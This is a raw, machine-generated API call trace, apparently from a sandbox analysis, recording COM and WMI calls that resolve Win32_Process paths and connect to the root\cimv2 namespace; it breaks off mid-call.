[0062.627] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0062.627] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0062.627] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b720, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119b720) returned 0x0 [0062.627] WbemDefPath:IUnknown:AddRef (This=0x119b720) returned 0x3 [0062.628] WbemDefPath:IUnknown:Release (This=0x119b720) returned 0x2 [0062.628] WbemDefPath:IWbemPath:SetText (This=0x119b720, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0062.628] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b720, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0062.628] WbemDefPath:IWbemPath:GetText (in: This=0x119b720, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0062.628] WbemDefPath:IWbemPath:GetText (in: This=0x119b720, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0062.628] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b720, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0062.628] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b720, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0062.628] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b720, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0062.628] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0062.628] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0062.628] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0062.628] IUnknown:Release (This=0x111f638) returned 0x1 [0062.630] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1bf11180) returned 0x0 [0062.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11180, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0062.630] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11180, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x119b7e0) returned 0x0 [0062.630] WbemDefPath:IUnknown:Release (This=0x1bf11180) returned 0x0 [0062.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x119b7e0) returned 0x0 [0062.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0062.630] WbemDefPath:IUnknown:AddRef (This=0x119b7e0) returned 0x3 [0062.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0062.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0062.630] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1bf111c0) returned 0x0 [0062.630] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf111c0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.630] WbemDefPath:IUnknown:Release (This=0x1bf111c0) returned 0x3 [0062.630] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0062.631] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0062.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0062.631] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x2 [0062.631] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x1 [0062.631] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0062.631] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0062.631] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b7e0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x119b7e0) returned 0x0 [0062.631] WbemDefPath:IUnknown:AddRef (This=0x119b7e0) returned 0x3 [0062.631] WbemDefPath:IUnknown:Release (This=0x119b7e0) returned 0x2 [0062.631] WbemDefPath:IWbemPath:SetText (This=0x119b7e0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0062.631] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b7e0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0062.631] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0062.631] WbemDefPath:IWbemPath:GetText (in: This=0x119b7e0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0062.631] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b7e0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0062.631] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b7e0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0062.631] WbemDefPath:IWbemPath:GetInfo (in: This=0x119b7e0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0062.631] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b7e0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0062.631] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0062.631] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0062.631] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.631] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0062.631] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0062.632] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0062.632] IUnknown:Release (This=0x111f638) returned 0x1 [0062.633] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1bf11200) returned 0x0 [0062.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf11200, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0062.633] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf11200, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x119b8a0) returned 0x0 [0062.633] WbemDefPath:IUnknown:Release (This=0x1bf11200) returned 0x0 [0062.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x119b8a0) returned 0x0 [0062.633] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0062.634] WbemDefPath:IUnknown:AddRef (This=0x119b8a0) returned 0x3 [0062.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0062.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0062.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1bf11240) returned 0x0 [0062.634] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf11240, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0062.634] WbemDefPath:IUnknown:Release (This=0x1bf11240) returned 0x3 [0062.634] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0062.634] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0062.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0062.634] WbemDefPath:IUnknown:Release (This=0x119b8a0) returned 0x2 [0062.634] WbemDefPath:IUnknown:Release (This=0x119b8a0) returned 0x1 [0062.634] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0062.634] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0062.634] WbemDefPath:IUnknown:QueryInterface (in: This=0x119b8a0, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x119b8a0) returned 0x0 [0062.634] WbemDefPath:IUnknown:AddRef (This=0x119b8a0) returned 0x3 [0062.634] WbemDefPath:IUnknown:Release (This=0x119b8a0) returned 0x2 [0062.634] WbemDefPath:IWbemPath:SetText (This=0x119b8a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0062.634] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b8a0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0062.634] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0062.634] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.635] CoGetObjectContext (in: riid=0x29be838*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0062.635] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0062.635] IUnknown:QueryInterface (in: This=0x111f638, riid=0x29be818*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0062.635] IUnknown:Release (This=0x111f638) returned 0x1 [0062.635] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1bf11340) returned 0x0 [0062.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11340, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0062.636] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf11340, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1bf11360) returned 0x0 [0062.636] WbemLocator:IUnknown:Release (This=0x1bf11340) returned 0x0 [0062.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11360, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1bf11360) returned 0x0 [0062.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11360, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0062.636] WbemLocator:IUnknown:AddRef (This=0x1bf11360) returned 0x3 [0062.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11360, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0062.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11360, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0062.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11360, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0062.636] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0062.636] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0062.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11360, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0062.636] WbemLocator:IUnknown:Release (This=0x1bf11360) returned 0x2 [0062.636] WbemLocator:IUnknown:Release (This=0x1bf11360) returned 0x1 [0062.636] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0062.636] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0062.636] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf11360, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1bf11360) returned 0x0 [0062.637] WbemLocator:IUnknown:AddRef (This=0x1bf11360) returned 0x3 [0062.637] WbemLocator:IUnknown:Release (This=0x1bf11360) returned 0x2 [0062.637] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x119b8a0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0062.637] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0062.637] WbemDefPath:IWbemPath:GetText (in: This=0x119b8a0, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0062.637] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1bf11380) returned 0x0 [0062.637] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf11380, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1bf01830) returned 0x0 [0062.964] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01830, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd4a8 | out: ppvObject=0x1b2fd4a8*=0x11e0320) returned 0x0 [0062.965] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e0320, pProxy=0x1bf01830, pAuthnSvc=0x1b2fd570, pAuthzSvc=0x1b2fd4f0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4, pImpLevel=0x1b2fd4fc, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8 | out: pAuthnSvc=0x1b2fd570*=0xa, pAuthzSvc=0x1b2fd4f0*=0x0, pServerPrincName=0x1b2fd520, pAuthnLevel=0x1b2fd4f4*=0x6, pImpLevel=0x1b2fd4fc*=0x2, pAuthInfo=0x1b2fd528, pCapabilites=0x1b2fd4f8*=0x1) returned 0x0 [0062.965] WbemLocator:IUnknown:Release (This=0x11e0320) returned 0x1 [0062.965] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01830, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd440 | out: ppvObject=0x1b2fd440*=0x11e0360) returned 0x0 [0062.965] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01830, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x11e0320) returned 0x0 [0062.965] WbemLocator:IClientSecurity:SetBlanket (This=0x11e0320, pProxy=0x1bf01830, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0062.965] WbemLocator:IUnknown:Release (This=0x11e0320) returned 0x2 [0062.965] WbemLocator:IUnknown:Release (This=0x11e0360) returned 0x1 [0062.965] CoTaskMemFree (pv=0x1beedf10) [0062.965] WbemLocator:IUnknown:AddRef (This=0x1bf01830) returned 0x2 [0062.965] WbemLocator:IUnknown:Release (This=0x1bf11380) returned 0x0 [0062.966] CoGetContextToken (in: pToken=0x1b2fc6b0 | out: pToken=0x1b2fc6b0) returned 0x0 [0062.966] CoGetContextToken (in: pToken=0x1b2fcb30 | out: pToken=0x1b2fcb30) returned 0x0 [0062.966] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01830, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x11e0330) returned 0x0 [0062.966] WbemLocator:IRpcOptions:Query (in: This=0x11e0330, pPrx=0x1bf113e0, dwProperty=2, pdwValue=0x1b2fcbe0 | out: 